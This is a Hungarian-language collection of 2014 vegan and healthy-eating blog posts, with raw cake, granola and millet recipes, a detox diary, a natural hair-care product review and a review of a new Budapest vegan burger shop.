Villával nyomkodjuk szét egészen addig, amíg vékony lapot kapunk. Fordítsuk meg, és úgy is nyomkodjuk. Kb. 5 perc alatt megsül. Ezt mi sok-sok zöldséggel töltjük meg: saláta, hagyma, paradicsom, paprika, uborka. Tegyünk bele mustárt és ketchupot. De el tudom képzelni egy jó fokhagymás avokádós krémmel is.
Nyers epertorta
A szokásos nyers tortát készítettem el, csokis krémmel a tetején,
de most epres krémet kentem középre. Nagyon finom lett.
Hozzávalók:
- alap: datolya, őrölt lenmag, víz, kókuszreszelék
- epres krém: eper, agavé szirup (vagy méz, vagy xilit – édesítés ízlés szerint), útifű maghéj, kis kókuszzsír
- csokis krém: datolya, víz, kókuszzsír, kakaópor
Elkészítés:
- Alap: Az alaphoz a beáztatott és kimagozott datolyát a vízzel összeturmixoljuk, belekeverjük az őrölt lenmagot (pl. arany lenmag) és a kókuszreszeléket. Várunk kis ideig, míg a lenmag megdagad, és gyúrható masszát kapunk. Ezt a masszát nyomkodjuk egy kapcsos tortaforma aljába.
- Epres krém: Az epret víz nélkül összeturmixoljuk egy kis folyékony kókuszolajjal. Édesítjük ízlés szerint, majd belekeverünk néhány evőkanálnyi útifű maghéjat, mely a sűrítő szerepet fogja betölteni, mivel képes nagy mennyiségű folyadék felszívására. A kókuszzsír majd plusz szilárdságot és krémességet fog neki adni. Az epres krémet rásimítjuk a torta alapra.
- Csokis krém: A beáztatott, kimagozott datolyát, kókuszzsírt, kakaóport és egy kis forró vizet összeturmixolunk, hogy kenhető krém sűrű masszát kapjunk, majd a tortaforma legtetejére simítjuk.
Ezt követően a tortát betesszük a hűtőbe, és megvárjuk, míg megdermed, és már nem fog folyni, utána szeletelhető.
Jó étvágyat!
Kókuszolajos-juharszirupos tepsis burgonya
2014. június 7. Mindennapi ételeink
Egyszerű, gyors, mégis különleges étel. Egy salátával remek ebéd. Hozzávalók: 1 kg burgonya köménymag - ízlés szerint himalaya só - ízlés szerint 2 ek. juharszirup 4 ek. kókuszzsír 2 ek. olívaolaj 1 csokor petrezselyem Elkészítés: Az (új)burgonyát alaposan megmossuk, majd hosszában félbevágjuk. Becsíkozzuk, úgy, hogy ne vágjuk el teljesen a burgonyát. Egy tepsi alját kikenjük kókuszzsírral, és belelocsoljuk az olívaolaj felét. Rátesszük a krumplikat (lapos felükkel), majd minden krumpli tetejére kenünk egy kevés kókuszzsírt, megsózzuk, köménymaggal ízesítjük. Lefedjük alufóliával és 180 fokon 10 percig sütjük. Ekkor levesszük a fóliát, meglocsoljuk olajjal és még 10 percig sütjük. Ezt követően megforgatjuk a burgonyákat, rálocsoljuk az agavé szirupot és megszórjuk petrezselyemmel. 10 perc alatt a legmagasabb fokozatán összepirítjuk. TIPP: A juharszirupot helyettesíthetjük egyéb sziruppal, pl. agavéval, vagy mézzel is. Ez esetben a mézből egy ek. is elegendő.
Kókuszos rizstej
Tavaszi méregtelenítés. Első nap
Ez a nap sem kezdődik másképp, mint szokott. Csak másképp folytatódott. Fél 6-kor csörög az óra, mert el kell készülni, mire a gyerekek ébrednek. Megiszom a szokásos pohár vizemet a 2-2 szem algával és huminiqummal. A kedvencem a mézes almarost, finom, édes, és jót tesz a vércukorszintnek is. Ha nem eszek, akkor gyakran szédelgek, így ez ilyenkor jó szolgálatot tesz. Szóval a reggeli szokásos teendőm: gyógytea készítés, (ma dió teát forráztam) majd megfőzöm a gyerekeknek és a páromnak a kását. Ma zabkása volt soron. A frissen pelyhesített zabból sokkal sokkal finomabb a kása, mint bolti pehelyből. Igaz, egy kicsit tovább tart elkészíteni, de megéri. Én mindig vízbe főzöm meg, teszek hozzá egy kis mazsolát és kókuszt. Csipet sót és vaníliát. Kb. 20 perc főzésre van szükség. A kását én mindig sűrűre főzöm, és mellé öntve mandulatejet kanalazunk. Ezt is minden reggel frissen készítem el. Megszórva dióval, kókusszal és egy kis reszelt csokival. Majd jöhet a grépfruit tisztítása, mely a májöblítő turmix alapja. Mindent beleteszek a kehelybe, majd alaposan összeturmixolom. Így az olaj szépen elegyeledik a lével, nem fog a tetején úszkálni. A gyömbért és a fokhagymát belereszelem, hogy ne maradjon darabos. Tehát reggeli előtt 1,5 liter folyadékot iszok. Én nem eszek reggel kását, mert most itt a sok friss gyümölcs, ezeket jobban kívánom. Úgyhogy megettem majdnem 1 kg cseresznyét . Ezután még bekanalaztam 1 evőkanál útifűmaghéjat is. A páromnak a sok folyadék miatt 10 óra utánra tolódott el a reggeli, mert nem volt éhes. Így az ebéd is csúszott. Szóval a délelőtt folyamán még 2x 5 dl folyadék ment le. Az egyik lapacho tea volt, a másik pedig karotin koktél, melybe 1 evőkanál búzafűport is tettem. Az ebéd Pálma piláfja volt. Én egy kicsit változtattam rajta, így készítem el. Nagyon nagyon bejött nekem (és a páromnak is). Jól esik a csípős, és a csicseriborsó is nagy kedvenc. A délután folyamán minimum 2x5 dl folyadék elfogyasztása a cél. Ez azért problémás nekem, mert 3 körül megyek a gyerekekért és csak este érek haza. Úgyhogy flakonok elő, és indulás. Megittunk egy gyömbéres tulsi teát (imádom a szálas teákat) és 5 óra körül egy zöld turmixot . Vacsorára egy egyszerű ételt készítettem, melyet csak darabolni kell, és mehet a sütőbe. Kb. 1 óra, és tálalható a vacsora. Mostanság sikerül hazai batátához hozzájutnom, így gyakran kerül az asztalra. Úgyhogy ma is ez készült. Van, amikor kockára vágom, és olyan is, amikor szeletelem az alapanyagokat. És a zöldbab helyett brokkoli is szokott bele kerülni. Emellé még készítettem egy nagy adag salátát is. Ja, és megszórtam pirított tökmaggal és szezámmaggal. Este lefekvés előtt a szokásos csésze tea, a beszedni valók. Nem is volt olyan szörnyű ez a nap.
Rebarbarás-csokis muffin
2014. május 28. Lét-tudatos konyha
Hozzávalók: - 30 dkg finomliszt - 20 dkg tönkölybúzaliszt - 10 dkg kukoricaliszt - 15 dkg nádcukor - 2 evőkanál kakaópor - 3 evőkanál kókuszolaj - 1 kávéskanál szódabikarbóna - 1 csipet só - 1 csipet aszkorbinsav - 5-6 dl víz - 4 rebarbara levélnyél - 2 evőkanál dió vagy mogyoró - 10 dkg apróra vágott csokoládé Elkészítése: A rebarbarát meghámozzuk és karikákra vágjuk. A diót vagy mogyorót apróra vágjuk, és szárazon megpirítjuk. A liszteket összekeverjük a kakaóporral, a sóval, a szódabikarbónával, az aszkorbinsavval. A cukrot a vízben feloldjuk, a lisztkeverékhez adjuk, és az egészet csomómentesre keverjük. Végül beledolgozzuk a kókuszolajat, a rebarbarát és a diót vagy mogyorót. A masszát muffinformákba adagoljuk úgy, hogy a mélyedéseket 2/3 részükig töltjük meg. Minden mélyedésbe teszünk néhány csokoládédarabot. 180 °C-on nagyjából 40 percig, sütjük. (Tűpróba)
Szójaszelet dubary módra brokkolival
Azon ritka alkalmak egyike volt, hogy szóját használtam, amikor elkészítettem ezt a dubary-utánzatot. Már máskor is készítettem Dubary módra szójaszeleteket, de nem rendszeresen. Bizonyára búzahússal is készíthető, még nem próbáltam. Utoljára karácsony-szilveszter környékén ettünk szóját. Szerintem simán belefér 4-5 hónaponként egy szójás étel az étrendünkbe. Amúgy másoknak sem ajánlom a rendszeres fogyasztását. Pajzsmirigy rendellenes működésével szenvedőknek semmiképpen sem javasolt szóját fogyasztani. Ellenben - engem is meglepett - vannak olyan betegségek, ahol viszont ajánlják az étrendbe gyakrabban beépíteni. Mi nagy ritkán fogyasztunk. Igazán egyedi ételt készítettem belőle az alábbi recept alapján:
A recept:
Hozzávalók:
- 1 csomag szójaszelet
- 1 kisebb brokkoli vagy karfiol
- 2-3 gerezd fokhagyma
- 7 dl növényi tej
- 5 dkg kókuszzsír
- liszt
- ételízesítő (házi)
- só
- 2-3 ek sörélesztő pehely
- kurkuma
- szerecsendió
Elkészítés:
A szójaszeleteket ételízesítővel és egy - két összezúzott fokhagymagerezddel megszórjuk, felforralt vízzel leforrázzuk és lefedve legalább fél órát állni hagyjuk. Közben a brokkolit vagy karfiolt rózsáira szedjük, és egy lábosba tesszük egy kevés sóval megszórva vízen megpároljuk. Roppanósan puhára, semmiképpen se szétfőve jó.
Közben elkészítjük a besamel mártást mondhatni vegán módra az alábbiak szerint: Kb. 5 dkg kókuszzsírt megolvasztunk, apránként hozzákeverjük a lisztet és hideg növényi tejjel (pl. dobozos szójatej) folyamatosan felöntjük, miközben habverővel keverjük, így nem lesz csomós. Mikor már rotyog, 2-3 evőkanálnyi sörélesztőpelyhet és egy kicsi kurkumát is hozzáadunk. (A kurkumától szép sárgás színe lesz, a sörélesztő pedig sajtos ízhatást kelt.) Addig keverjük a nem túl nagy lángon, míg sűrű, puding állagú nem lesz. Kevés só és szerecsendió még emeli az ízét.
A megpuhult szójaszeletekből a vizet kinyomkodjuk, egy sütőpapíros tepsire fektetjük őket, majd a sütőben megpirítjuk a szeletek egyik oldalát. Pirulás után megfordítjuk őket és a megpirult oldalukra rakjuk a brokkolit vagy karfiolt. Mindegyikre besamel mártást kanalazunk. Visszatesszük a sütőbe és megsütjük - enyhén barnás színűre. Általában rizibizit vagy krumplipürét fogyasztanak hozzá. Rizibizit kicsit átalakítottam. A párolt brokkoli szárát daraboltam a rizshez, valamint egy kevés uborkát és kukoricaszemeket. Mostanában nagyon kedvelem az uborkát rizzsel.
Zöldborsós tokány zöldséges bulgurral a Vegalife.hu-tól
Már kóstoltam jó néhány ételt névpartneremtől a Vegalife.hu-tól. Ezúton is köszönöm Attilának, a szakácsának és ételszállítójának, hogy részem lehet ilyen finom ízekben. :)
Ez az étel az egyik "best of". V alami fenséges és íze van. Ha jól emlékszem, kétszer is ettem. Sok-sok zöldség van benne (pl: zöldborsó, sárgarépa, pritamin paprika), ráadásul vegánokra is gondolnak, mert kókusztejjel készítik. Külön tetszik, hogy tönköly-lisztet használnak a sűrítéshez. Egyszóval nagyon finom.
Mondhatnám tanári nyelven: 5* . :)
UI: Olyan jó, hogy étlapjukon találkozni vegán ételekkel is! :)
Nyers almatorta
Juditnál láttam az ötletet, aki a Mannatural ételvideója alapján készítette el ezt az almatortát.
Nagyon guszta volt, így én is kipróbáltam.
Tényleg finom, bátran ajánlom.
Torta alap: őrölt lenmag, datolya, víz, kókuszreszelék
Almás réteg: alma, fahéj, útifű maghéj
Krém: datolya, forró víz, kókuszolaj, szegfűszeg
*
Köszönöm az ötletet! A krémnek, ahogy a videóban is mondják, valóban hasonló íze van, mint a gesztenyének. Legközelebb almás-mákos változatban is elkészítem.
Az elkészítésről a Mannatural videóját itt találod:
Almás mannatorta: http://www.youtube.com/watch?v=lSQ3w_9Jl1c
Hajápolás természetes anyagokkal (cassia obovata és Khadi hajolaj)
Eddig az egészségesebb táplálkozásom révén azt is vártam, hogy hajam szebb, erősebb, csillogóbb lesz, de azt hiszem, ez még várat magára.
Több hajápoló szert kipróbáltam már, utóbbi időkben BDIH-s samponokat, hajbalzsamokat használtam, néha bevetettem a kókuszolajat, olívaolajat, és mostanában a ricinus olajat is a hajam ápolására.
A legolcsóbb kategóriában a ricinus olaj bizonyult a leghatékonyabbnak, ajánlom mindenkinek. Az interneten lehet róla sok jót olvasni.
A leghatékonyabbnak azonban számomra a cassia obovata és a Khadi hajolaj bizonyult.
Mindkét termék teljesen természetes.
A cassiát (cassia obovata) hívják natúr hennának, szőke hennának is, mert színező ereje nincsen, esetleg a nagyon világos szőke és ősz hajnak ad még egy kis aranyos fényt, csöppnyi henna porral keverve pedig óarany csillogást. Hajápolásra az egyik legtökéletesebb anyag, melyet használhatunk bármennyiszer, akárcsak a hennát, csakis jót teszünk vele.
“A cassia obovata por egy közép olíva zöld színű por, amely a növény őrölt leveleiből készült és friss fű illata (inkább széna ) van. A Cassia obovata, amelyet olykor szennának, vagy természetes szőke hennának szoktak hívni, tökéletes természetes kondícionáló, amely dúsítja, fényesebbé, puhábbá, selymesebbé teszi (és valóban!!!!) a hajat, javít állagán, miközben nem sötétíti azt.
A cassia már évszázadok óta használt szépségápolási szer, amely gombaölő, antibakteriális hatásáról ismert.”
A cassiát por alakban lehet vásárolni. A port kell kellő mennyiségű vízzel kikeverni. Langyos vízzel lehet, ha 12 órán át állni hagyjuk. Ha azonnal szeretnénk felhasználni, akkor forró víz ajánlatos az elkeveréséhez, hogy a hatóanyagok kifejtsék optimális hatásukat. Tejföl sűrűségű zöld, széna vagy spenót illatú masszát fogunk kapni, melyet az előzőleg megmosott és megszárított hajra kell felvinni. Ajánlatos előtte olyan samponnal mosni a hajunkat, mely nem tartalmaz szilikont. A szilikon megakadályozza ugyan a haj kiszáradását, mivel egy réteget képez rajta, viszont a legtöbb hatóanyag bejutását is megakadályozza ezáltal a hajba. A törölközőszáraz vagy száraz hajra felvisszük a cassia pépet, és egy műanyag, nylon sapkát húzunk a fejünkre, majd betakarjuk törölközővel, és melegen tartjuk.
Hennázás esetén is ugyanígy kell eljárni, de akkor vigyázni kell, hogy a fejünkön félrefolyó masszát letöröljük, mert a henna a bőrünkön elszíneződést okoz.
A massza a fejünkön egy idő elteltével hígulni fog, és valószínű, hogy csöpögni is, ezért célszerű olyan ruházatot felvenni, amit nem sajnálunk.
A hajon hagyjuk a cassiát 1 vagy akár több óra hosszat (éjszakára is lehet), majd bő meleg, langyos vízzel kiöblítjük a hajunkból. Az elején furcsa lesz, mintha sárréteg távozna a hajból, de gyönyörűen ki lehet mosni zuhannyal. Utána nem szükséges hajat sem mosni, hiszen előzőleg már mostuk, eltávolítottuk róla a kosz- és zsírréteget.
A legjobb a hajnak, ha természetesen hagyjuk megszáradni, a hajszárító meleg levegője is sokat árthat neki, kiszáríthatja.
Érezhetően könnyebb lesz a hajat kifésülni, és selymesebb, puhább tapintású, csillogóbb, élettel telibb lesz általa a haj.
A hennázásról majd külön posztban fogok írni.
Addig is egy kis olvasnivaló a cassiáról és a növényi hajfestés (hennával és indigóval) rejtelmeiről egy nagyon jó összefoglaló E-bookban:
http://www.hennaforhair.com/freebooks/hungarianhennaforhair.pdf
Khadi termékek:
színtelen cassia és világosbarna 100 %-os növényi hajfesték
Cassia és a Khadi világosbarna festékpor keveréke:
(mindkettő finom széna illatú, zöld színű por)
A világosbarna festék összetevői:
Indigofera tinctoria (indigó), Lawsonia inermis (henna), Emblica officinalis (amla),
Eclipta alba (bhringaraj), Azadirachta indica (neem).
Khadi hajolaj:
Az egyik legjobb hajolaj, amit használtam. Többféle olaj összetevőből áll, melyek együttesen fejtik ki jótékony hatásukat.
A khadi.hu oldalon megtekinthetők a Khadi termékek. A természetes alapanyagú hajfestékektől kezdve a hajolajig több színvonalas terméket találsz itt.
A Khadi vitalizáló hajolajról itt olvashatsz bővebben: http://www.khadi.hu/termekek/hajolajok/khadi-vitalizalo-hajolaj-a-haj-novekedeseert.html
210 ml-es kiszerelésben van, és természetesen többet kell használni belőle, mint néhány cseppet, hogy a hajon is elterüljön. Isteni finom gyógynövényes-rozmaringos illatával is kényeztet minket. A hajolajat nedves és száraz hajon is lehet használni. Masszírozzuk be először a fejbőrbe, majd kenjük végig a hajunkon. Hagyjuk hatni fél-vagy néhány órát, majd alaposan mossuk le hajunkról. Mossunk hajat utána samponunkkal, ami jobb esetben nem tartalmaz veszélyes összetevőket, pl. SLS-t, azaz sodium laureth sulphatot (habosító anyag).
Hajápolás terén nekem ez a két termék vitte a pálmát.
Ti milyen természetes hajápolókat használtok?
Kókuszos mandulás granola
2014. május 14. Zizi kalandjai
Hónapok óta szinte majdnem minden reggel zab- vagy rizspehely kását eszünk reggelire. Először is a zab tejserkentő, tehát jól jött, amikor az anyatej serkentése volt a cél. Télen jól jön a melegítő hatása is, rengeteg mindennel fel lehet dobni (friss és szárított gyümölcsök, magok), meg finom, szóval mi nem untuk még meg. Sőt, Ádi sem, aki többnyire kását reggelizik úgy, ahogy mi.
Aztán eszembe jutott a granola… hogy már milyen régen ettünk és megkívántam. Talán váltani kellene a kását valami ropogósra – gondoltam. Eddig kétfélét készítettem, egyszer sütőtököset, egyszer pedig cukormenteset. Most az itthon talált alapanyagokból dobtam össze egy változatot és azt kell mondanom, ez lett a legfinomabb. Annyira finom, hogy most is, amikor ezt a bejegyzést írom, granolát ropogtatok és majszolom hozzá a 70%-os étcsoki kockámat. Mennyei éjszakai desszert! Ha így folytatom, hamarabb el fog fogyni, mint gondoltam.
Ki is találtam, hogy néhány hét múlva ajándékba is elkészítem, amikor Londonba utazunk és a vendéglátóinknak házilag készített gasztro ajándékot szeretnék vinni + valami finom magyar alapanyagot (például őrölt pirospaprikát Szegedről). Szóval egy kis kihagyás után újra repülőre ülünk, I. és én sokadszorra, azonban Ádinak ez lesz az első repülőútja. Kicsit izgulok, de remélem tetszeni fog neki.
Percek alatt összekeverhető a granola, majd a sütőben kb. 15-20 perc alatt megsül. Nagyon gyorsan készen lesz, érdemes kipróbálni. Tudjuk, hogy pontosan milyen alapanyagok vannak benne és saját ízlésünk szerint édesíthetjük. Én kevés juharszirupot kevertem hozzá, de ez lecserélhető mézre, rizsszirupra vagy bármilyen más folyékony édesítőszerre, de akár el is hagyhatjuk és akkor teljesen cukormentes lesz. Az alapanyagokat ízlésetek és a kamrában található magok alapján variálhatjátok… végtelen sok lehetőség rejlik a granolában. Én ilyen vegán citromos joghurtba kevertem bele, de növényi tejjel és gyümölcsökkel (eper, málna) is kiváló!
Kókuszos mandulás granola
Hozzávalók:
- 2 bögre zabpehely
- 1/2 bögre napraforgó mag
- 1/3 bögre tökmag
- 1 bögre mandula, kicsit felaprítva
- 1/2 bögre kókuszreszelék
- 1/3 bögre juharszirup
- 1/2 teáskanál só
- 4 evőkanál kókuszzsír (szobahőmérsékletű)
Melegítsük elő a sütőt 175 fokra. Egy nagy tepsit béleljünk ki sütőpapírral.
Egy tálban keverjük össze a száraz alapanyagokat: zabpehely, napraforgó mag, tökmag, mandula, kókuszreszelék, só. A végén adjuk hozzá a juharszirupot és a kókuszzsírt és jól keverjük el. Borítsuk rá a tepsire és kanállal egyengessük el, hogy mindenhova egyformán jusson. Süssük kb. 6-8 percig, keverjük át, majd süssük újabb 8-10 percig, amíg aranybarna lesz (ellenőrizzük folyamatosan, mert sütő függő, hogy milyen hamar lesz kész).
Üvegben/dobozban tartva hetekig eláll. Bár nem fog addig tartani, ezt garantálom!
Meggyes-gesztenyés zabfelfújt
2014. május 12. Mindennapi ételeink
Tartalmas csemege, nem csak reggelre... Hozzávalók: 4 ek. kókusztejpor 2 csésze forró víz 1 csésze zabpehely 3 ek. kókuszvirág cukor 1 ek. kókuszzsír 1 üveg meggybefőtt 1/2 kg gesztenyemassza 1/2 bio citrom héja Elkészítés: A kókusztejport kikeverjük vízzel és a kókuszzsírral feltesszük főni. Amikor forr, hozzákeverjük a zabot, és ízesítjük a kókuszvirág cukorral, citromhéjjal, esetleg vaníliával. Puhulásig főzzük. Amikor kihűlt, hozzáadjuk a felengedett gesztenye felét. Egy sütőformát (vagy több kisebbet) kikenünk kókuszzsírral, majd beletesszük a gesztenyés zab felét, majd a kimagozott meggyet, és betakarjuk a zab másik felével. A tetejére kenjük, vagy nyomjuk gesztenyenyomóval a maradék gesztenyét. 20 perc alatt 170-180 fokon kisütjük.
Kókuszos almakrém
A fiam egyik "nyamnyam" menüjéből született az ötlet. A férjem nagyon szereti az ilyesmit, és ötleteltem kicsit, hogyan is lehetne érdekesebbé tenni. Aztán a sp@ros nagyszemű kókuszreszelék adta magát, mert a kókuszgolyók gömbölyítésekor maradt előző este valamennyi. Nagyon egyszerű összetevők szempontjából, főtt köles, kókuszreszelék és darált mogyoró, illetve alma. Hozzávalók: 1/2 bögre köles 2 bögre víz vanília 20 csepp sztívia / 2 ek nyírfacukor vagy gyümölcscukor 1 csipet só reszelt citromhéj (elhagyható) 1 kg alma 3 ek kókuszreszelék 2 ek darált tötökmogyoró (elhagyható) A kölest a négyszeres mennyiségű vízzel, sóval, reszelt citromhéjjal, vaníliával megfőzzük bő 20 perc alatt kis lángon. Az almát megpucoljuk és apróra vágjuk. Azután összeturmixoljuk finomra a kölest, majd az almát is hozzátesszük, azt is turmixoljuk. A végén belekavarjuk a durvára darált mogyorót, azután a kókuszreszeléket is. A mogyoró elhagyható, de érdekesebbé teszi az ízeket. Kicsiknek mogyoró és kókuszreszelék nélkül 6 hónapos kortól adható, a köles gluténmentes, könnyen emészthető, édesíteni eleinte nem is nagyon szükséges, esetleg kevés gyümölcscukorral, ezzel a változattal azonban egy éves után javaslom csak. Candidások válasszanak savanykás almát, és a kókuszreszelék helyett több durvára darált törökmogyorót tegyenek az ételhez.
Kókuszgolyó kakaóvajas csokikrémből
Kókuszgolyóból már van néhány recept itt a blogon, mindegyik nagyon finom, de ez a mai különösen finom.
Eleinte csokikrémnek készült, majd mivel nem jött ihletem arra vonatkozólag, hogy mihez használjam fel… tortát nem szerettem volna, és egyéb még töményebb nyers dolgokat, ezért kókuszreszeléket kevertem bele, és golyókká formáztam.
Hasonló a krémje, mint a nyers csokitortáé.
Hozzávalók a csokikrémhez (amit egyébként bármilyen nyers desszerthez felhasználhatunk): datolya, víz, kakaópor, kókuszzsír, kakaóvaj (esetlegesen plusz lucuma vagy vanília por),.
A datolyát egy kis vízzel könnyedén összebotmixereljük, hozzákeverjük a kakaóport és egy kis felolvasztott kókuszzsírt és kakaóvajat. A kókuszzsír és kakaóvaj mennyiségével lehet variálni a keménységét is. Minél több zsiradékot, különösen kakaóvajat teszünk bele, annál keményebb lesz. A kókuszzsír enyhén ad neki keménységet, és szobahőmérsékleten puhább lesz, a kakaóvaj szobahőmérsékleten is elég kemény marad.
Ennél a sütinél a kettő kombinálását ajánlom tetszőleges mértékben. Amikor elkevertük a krémet, be kell tenni a hűtőbe néhány órára, hogy megdermedjen kellőképpen. Ezt követően felhasználhatjuk bármilyen nyers desszerthez.
Kókuszgolyó:
Ha kókuszgolyót kívánunk belőle formálni, belegyúrunk annyi kókuszreszeléket, hogy keményebb, de még gyúrható legyen, majd meghempergetjük szintén kókuszreszelékben (vagy bármi más finomságban).
Jó étvágyat!
Spárga-nudli
Isteni nasit csináltam vacsorára ;) Hozzávalók: 4 szál spárga 1 ek darált dió 1 kk kókuszvirág-cukor A spárgát megmossuk, meghámozzuk, és nudli nagyságúra vágjuk. Meghintjük a darált dióval és a cukorral, és máis ehetjük ;) Jó étvágyat!!! A spárga élettani hatása Növényünk rendkívül egészséges, kalóriaszegény, aki fogyókúrázik, bátran fogyaszthatja. 10 deka spárga kb. 15 kalóriát […]
Vegán hamburgeres nyílt!
2014. április 22. Mindennapi ételeink
A szállítás kicsit megviselte a hambikat...Kedves barátaink jóvoltából Budapesten ma megnyílt az első vegán hamburgeres a 1122 Városmajor u. 13. szám alatti Bio-passzázs bioboltban. Mivel közel lakunk egymáshoz (Vác, ill. Nagymaros), így mi ma itthon kóstolhattuk meg az egyik hamburger fajtát. :-) McDrive :-) köszönjük még egyszer az Istvánffi családnak! A legnagyobb tesztelő Fanni lányunk volt, aki még csak anyatejes baba, de 1-2 hete kinéz minden falatot a szánkból. Ezt a színes szendvicset is megkívánta, majdnem sírva is fakadt, hogy nem kap belőle. Így nem előtte ettem meg. A választék nagyon gazdag, kapható a hamburgerek mellett kókuszolajban sült hasábburgonya, gombás makaróni, szószok, saláta, zabfalat, frissen préselt gyümölcslevek, itt olvasható el a menü: http://istvanffi.hu/kinalatunk/ Hamburgerek közül is van mindenféle (http://istvanffi.hu/kinalatunk/), mi most az egyik "alapfajtát", a csodaburgert teszteltük, melynek alapja a finom, házi pékségben sütött hamburgerzsemle, illetve búzahús pogácsa és minőségi, adalékanyag-mentes ketchup, illetve fehér szósz, mely a mi esetünkben mandulaszósz volt. Az Istvánffi szósz egyébként a vegán majonéz, azt legközelebb teszteljük, illetve a "zabhúsos" hamburger is a következő alkalomra maradt. Emellett a mostani szendvics jégsalátát, paradicsomot, lilahagymát tartalmazott. A zsemle tökéletes állagú, nagyon ízletes, finom, puha. A búzahús állagában megtévesztésig hasonlít a valódi húspogácsához, ízre semlegesebb, kellemes. Számomra enyhén sós volt, ezt jeleztem is gyártóknak. :-) Az öntetek nagyon finomak, a zöldségek roppanósak, frissek. A szendvics nagyon laktató volt. Összességében tehát várjuk a következő alkalmat, amikor egy újabb finomságot kóstolhatunk meg. Nagy kedvencünk lesz szerintem a sült krumpli, amelyet kókuszolajban sütnek, valódi burgonya, és fokhagymás-sós ízesítést kap. Hm... Ti jártatok már ott? És kóstoltatok valamit? Bővebb info: www.istvanffi.hu
Mennyei nyers szedertorta (gluténmentes)
Egy jó barátunk dupla születésnapra készülve felkért, hogy készítsek valami egészséges tortát, amiben nincs hozzáadott cukor, mert az ünnepelt egyike mindenféle - iparilag előállított - cukrot mellőz az étrendjéből. A másik ünnepelt pedig szintén az egészséges táplálkozást követi. Erre az alkalomra debütáltam az alábbi nyers tortával. A leírt adagból készült a szív alakú torta. A krémekből egy kicsit visszatartottam, majd a mandulás alapot 100 g mandulával és valamivel kevesebb mazsolával megismételtem, így nekünk is "jutott" egy kevéske. Annak a képeit is bemutatom. De nem is ez a lényeg, hanem az íze! Ha tudom, ha kóstolom ezt korábban, akkor már sokkal előbb elkészítem és bevezetem a háztartásunkba. Kevés rá a szó, hogy finom. Ha a földön ilyen fenséges ízeket lehet kreálni, akkor milyen lesz a mennyben? :)
A recept:
Hozzávalók:
A torta alapjához:
- 250 g nyers, hámozott mandula
- 4 evőkanál mazsola (én csak a felét áztattam be)
- csipetnyi só (elhagyható)
A torta krémjéhez:
- 300 g nyers kesudió, beáztatva minimum 4-5 órára
- 5 evőkanál mazsola beáztatva kb. fél órára
- 3 púpozott evőkanál kókusz zsír
- 400 g szeder (fagyasztott volt, de kiolvasztottam)
- 3 db citrom kicsavart leve
- 1 db vaníliarúd kikapart magjai
A díszítéshez:
citromfű vagy mentalevél
30-40 szem szeder
Elkészítés:
Először a torta kétfajta krémjét érdemes elkészíteni, mivel azokat érdemes kis időre fagyasztóba tenni. Amíg elkészül a torta alapja, úgymond "tésztája", addig a fagyasztóban dermedhet a torta krémje.
A krém elkészítése, ahogy a hozzávalóknál írtam, a kesudió több órán keresztül való áztatásával történik. Akár egy éjszakát is áztathatjuk és reggel hozzá is kezdhetünk a tortánk készítéséhez. A kesudióról leszűrjük a vizet és a turmixgépünkbe tesszük. (Legalább 500 Wattos legyen a gép!) A három citromot kifacsarjuk, levét hozzáadjuk és elkezdjük turmixolni. Ezt követően hozzáadjuk a megáztatott mazsolát, majd a kókuszzsírt, a vanília belsejét. Amikor krémes állaga lett (ízre leginkább túrókrémre hasonlít), kb. 1/3 részét kivesszük egy tálkába, fagyasztóba tesszük egy kis időre, a nagyobbik részhez pedig hozzáadjuk a kiengedett szeder egy részét (díszítésnek félreteszünk egy részt) és tovább turmixoljuk. Amikor elkészült a szép lilás krém, szintén a fagyasztóba tesszük és elkészítjük a torta alapját.
Aprítógépbe tesszük a mandulát és a mazsolát. Egyesek sót is adnak hozzá, nálam ez elmaradt, nem lett semmi probléma belőle. Jó morzsásra összeaprítjuk. Akkor jó, ha gombócot tudnánk formálni belőle. Egy tortaformát (én szívformát választottam) frissen tartó fóliával kibélelünk, ebbe simítjuk bele a masszát. Kezünkkel elegyengetjük. A fagyasztóból kivesszük először a világos krémet és rásimítjuk az alaptészta tetejére. Utána kivesszük a másik krémet is, hasonlóan rásimítjuk, szederrel és citromfű vagy mentalevéllel díszítjük. Még 1-2 órára fagyasztóba tesszük, hogy jól megszilárduljon. Nem kell teljesen keményre, de így jól szeletelhető lesz. Majd kivesszük, leszedjük róla a fóliát és tálaljuk. Ha ellen tudunk állni annak, hogy az egészet felfaljuk, akkor helyesen cselekszünk. A mandula és a kesudió ugyan egészséges, de mértékletesen ajánlott élni vele.
Köleskoch (gluténmentes, vegán)
Az elmúlt néhány hét (6-7) meglehetősen húzós és sűrű volt. Olyannyira, hogy még blogbejegyzés sem tudtam igazán írni. Rendszeres olvasóimnak ez feltűnt bizonyára. Remélem, így április felénél tartva ez megváltozik és a sok-sok fotó, ami ételeinkről készült, hamarosan receptek társaságában publikálva lesz. Most egy egyszerű ételt alakítottam át, ami nem más, mint a rizskoch. Éppenséggel rizs helyett kölessel. Először sütöttem egy tepsivel vendégeinknek (gyorsan el is fogyott), majd reprodukáltam főzőkörre is némi sárgabarack-tunninggal. :) Aki eljött, megkóstolhatta. Tőlünk nem is olyan messze lakik egy babát váró fiatal házaspár, akiket a főzőkörön ismertünk meg. Nekik ez ízlett a legjobban a legutóbbi - Desszertek témájú - főzőkörön. Ez persze szubjektív. Nem mindenkinek ez volt a févörit. :) Most az első, eredeti verziót prezentálom.
Hozzávalók:
- 30 dkg köles
- 3 dl növényi tej
- 1 citrom lereszelt héja
- édesítő (kókuszvirág-cukor/gyümölcscukor/nyírfacukor, stb)
- 1 vanília kikapart belseje
- 2 evőkanál őrölt lenmag
- 2 evőkanál útifű maghéj
Elkészítés:
A kölest alaposan megmossuk, majd kb. másfélszeres mennyiségű vízben feltesszük főzni. Amikor elfőtt a víz, hozzáadjuk még a növényi tejet és teljesen puhára főzzük. Mikor megfőtt, belereszeljük az alaposan megmosott citrom héját, a vaníliát, az őrölt lenmagot és az útifű maghéjat is hozzákeverjük. Édesítjük ízlelésünknek megfelelően, majd sütőben kb. 50-70 perc alatt készre sütjük. Tálaláskor (barack)lekvárt vagy házi szörpöt csurgathatunk a tetejére. Mindkettővel kipróbáltam. Judit barátnőmtől kaptam még télen egy üveg házilag (általa) eltett szederszörpöt. Azzal öntöztem meg. Fenséges volt! (Judit, köszi az ajándékot!:) így utólag is.)
Vegán Kihívás - 4. hét menüje
